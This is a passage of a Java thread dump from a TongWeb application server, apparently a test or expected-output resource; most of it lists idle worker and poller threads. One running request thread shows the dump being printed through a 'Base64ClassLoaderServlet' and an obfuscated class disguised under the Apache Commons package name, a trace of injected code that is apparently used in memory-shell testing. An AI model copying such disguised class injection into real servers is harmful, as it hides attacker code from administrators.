com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-5100-ClientPoller-1" #116 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.tongweb.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:815) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-8080-AsyncTimeout" #104 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at com.tongweb.coyote.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1279) + at java.lang.Thread.run(Thread.java:750) + +"JCA-default-thread-pool-worker-9" #87 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@96554c1 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-8080-exec-5" #33 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@39d3fb1 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-5100-exec-10" #114 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@26b04ee9 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-8080-exec-2" #30 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@39d3fb1 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"pool-5-thread-1" #160 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@26b18712 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-5100-exec-4" #108 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@26b04ee9 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-0.0.0.0-9060-Acceptor-0" #101 daemon [WAITING] on java.util.concurrent.CountDownLatch$Sync@703e1ef8 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer.parkAndCheckInterrupt(AbstractQueuedSynchronizer.java:836) + at java.util.concurrent.locks.AbstractQueuedSynchronizer.doAcquireSharedInterruptibly(AbstractQueuedSynchronizer.java:997) + at java.util.concurrent.locks.AbstractQueuedSynchronizer.acquireSharedInterruptibly(AbstractQueuedSynchronizer.java:1304) + at java.util.concurrent.CountDownLatch.await(CountDownLatch.java:231) + at sun.nio.ch.PendingFuture.get(PendingFuture.java:180) + at com.tongweb.web.util.net.Nio2Endpoint$Acceptor.run(Nio2Endpoint.java:444) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-5100-exec-9" #113 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@26b04ee9 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-5100-exec-7" #111 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@26b04ee9 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"RMI Scheduler(0)" #94 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5e592478 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Thread-5" #28 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPoll.epollWait(Native Method) + at sun.nio.ch.EPollPort$EventHandlerTask.poll(EPollPort.java:194) + at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:268) + at java.lang.Thread.run(Thread.java:750) + +"JCA-default-thread-pool-worker-4" #82 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@96554c1 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-8080-exec-4" #32 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@39d3fb1 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"JCA-default-thread-pool-worker-2" #80 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@96554c1 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"JCA-default-thread-pool-worker-7" #85 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@96554c1 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Stateful cache" #90 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@66c82ef5 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-5100-AsyncTimeout" #118 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at com.tongweb.coyote.AbstractProtocol$AsyncTimeout.run(AbstractProtocol.java:1279) + at java.lang.Thread.run(Thread.java:750) + +"Thread-6" #39 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPoll.epollWait(Native Method) + at sun.nio.ch.EPollPort$EventHandlerTask.poll(EPollPort.java:194) + at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:268) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-0.0.0.0-9060-exec-5" #22 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@65ff26e8 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"JCA-default-thread-pool-worker-5" #83 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@96554c1 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"main" #1 [WAITING] on java.lang.Thread@4212a0c8 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.tongweb.catalina.core.StandardServer.awaitJmx(StandardServer.java:499) + at com.tongweb.catalina.core.StandardServer.await(StandardServer.java:457) + at com.tongweb.catalina.startup.Catalina.await(Catalina.java:747) + at com.tongweb.catalina.startup.ThanosCatalina.start(Unknown Source) + at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) + at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62) + at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) + at java.lang.reflect.Method.invoke(Method.java:498) + at com.tongweb.catalina.startup.Bootstrap.start(Bootstrap.java:382) + at com.tongweb.catalina.startup.Bootstrap.main(Bootstrap.java:536) + +"RMI TCP Connection(idle)" #97 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@3a64f4b1 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"RetryTimer" #89 daemon [WAITING] on java.util.TaskQueue@4c6bac29 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.util.TimerThread.mainLoop(Timer.java:526) + at java.util.TimerThread.run(Timer.java:505) + +"http-nio2-0.0.0.0-9060-exec-8" #25 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@65ff26e8 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-8080-exec-10" #38 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@39d3fb1 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-8080-exec-9" #37 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.lang.Thread.dumpThreads(Native Method) + at java.lang.Thread.getAllStackTraces(Thread.java:1615) + at org.apache.commons.lang.URdhB.ErrorTksljHandler.toString(BasicInfoPrinter.java:26) + at java.lang.String.valueOf(String.java:2994) + at com.tongweb.catalina.connector.CoyoteWriter.print(CoyoteWriter.java:244) + at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26) + at com.tongweb.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:230) + at com.tongweb.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:165) + at ServletNameTestFilter.doFilter(ServletNameTestFilter.java:16) + at com.tongweb.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:192) + at com.tongweb.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:165) + at com.tongweb.web.websocket.server.WsFilter.doFilter(WsFilter.java:53) + at com.tongweb.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:192) + at com.tongweb.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:165) + at EmptyFilter.doFilter(EmptyFilter.java:12) + at com.tongweb.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:192) + at com.tongweb.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:165) + at UrlMappingTestFilter.doFilter(UrlMappingTestFilter.java:21) + at com.tongweb.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:192) + at com.tongweb.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:165) + at com.tongweb.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:198) + at com.tongweb.catalina.core.StandardContextValve.invoke0(StandardContextValve.java:123) + at com.tongweb.catalina.core.ThanosStandardContextValve.invoke0(ThanosStandardContextValve.java:14) + at com.tongweb.catalina.core.StandardContextValve.invoke(StandardContextValve.java:114) + at com.tongweb.catalina.core.ThanosStandardContextValve.invoke(ThanosStandardContextValve.java:103) + at com.tongweb.tomee.catalina.OpenEJBValve.invoke(OpenEJBValve.java:44) + at com.tongweb.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:452) + at com.tongweb.catalina.core.StandardHostValve.invoke(StandardHostValve.java:346) + at com.tongweb.tomee.catalina.OpenEJBSecurityListener$RequestCapturer.invoke(OpenEJBSecurityListener.java:97) + at com.tongweb.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:80) + at com.tongweb.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:87) + at com.tongweb.catalina.core.ThanosStandardEngineValve.invoke(ThanosStandardEngineValve.java:43) + at com.tongweb.catalina.realm.RealmValve.invoke(RealmValve.java:21) + at com.tongweb.catalina.connector.ThanosCoyoteAdaptor.service(ThanosCoyoteAdaptor.java:469) + at com.tongweb.coyote.http11.Http11Processor.service(Http11Processor.java:870) + at com.tongweb.coyote.http11.ThanosHttp11Processor.service(ThanosHttp11Processor.java:19) + at com.tongweb.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:66) + at com.tongweb.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:921) + at com.tongweb.web.util.net.Nio2Endpoint$SocketProcessor.doRun(Nio2Endpoint.java:1635) + at com.tongweb.web.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49) + at com.tongweb.web.util.net.AbstractEndpoint.processSocket(AbstractEndpoint.java:867) + at com.tongweb.web.util.net.Nio2Endpoint$Nio2SocketWrapper$4.completed(Nio2Endpoint.java:634) + at com.tongweb.web.util.net.Nio2Endpoint$Nio2SocketWrapper$4.completed(Nio2Endpoint.java:612) + at sun.nio.ch.Invoker.invokeUnchecked(Invoker.java:126) + at sun.nio.ch.Invoker$2.run(Invoker.java:218) + at sun.nio.ch.AsynchronousChannelGroupImpl$1.run(AsynchronousChannelGroupImpl.java:112) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1172) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"http-nio2-0.0.0.0-9060-exec-3" #20 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@65ff26e8 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"http-nio2-8080-exec-1" #29 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@39d3fb1 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:103) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:31) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1094) + at com.tongweb.web.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1156) + at com.tongweb.web.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:628) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) + at java.lang.Thread.run(Thread.java:750) + +"pool-2-thread-1" #140 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4c22a282 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at 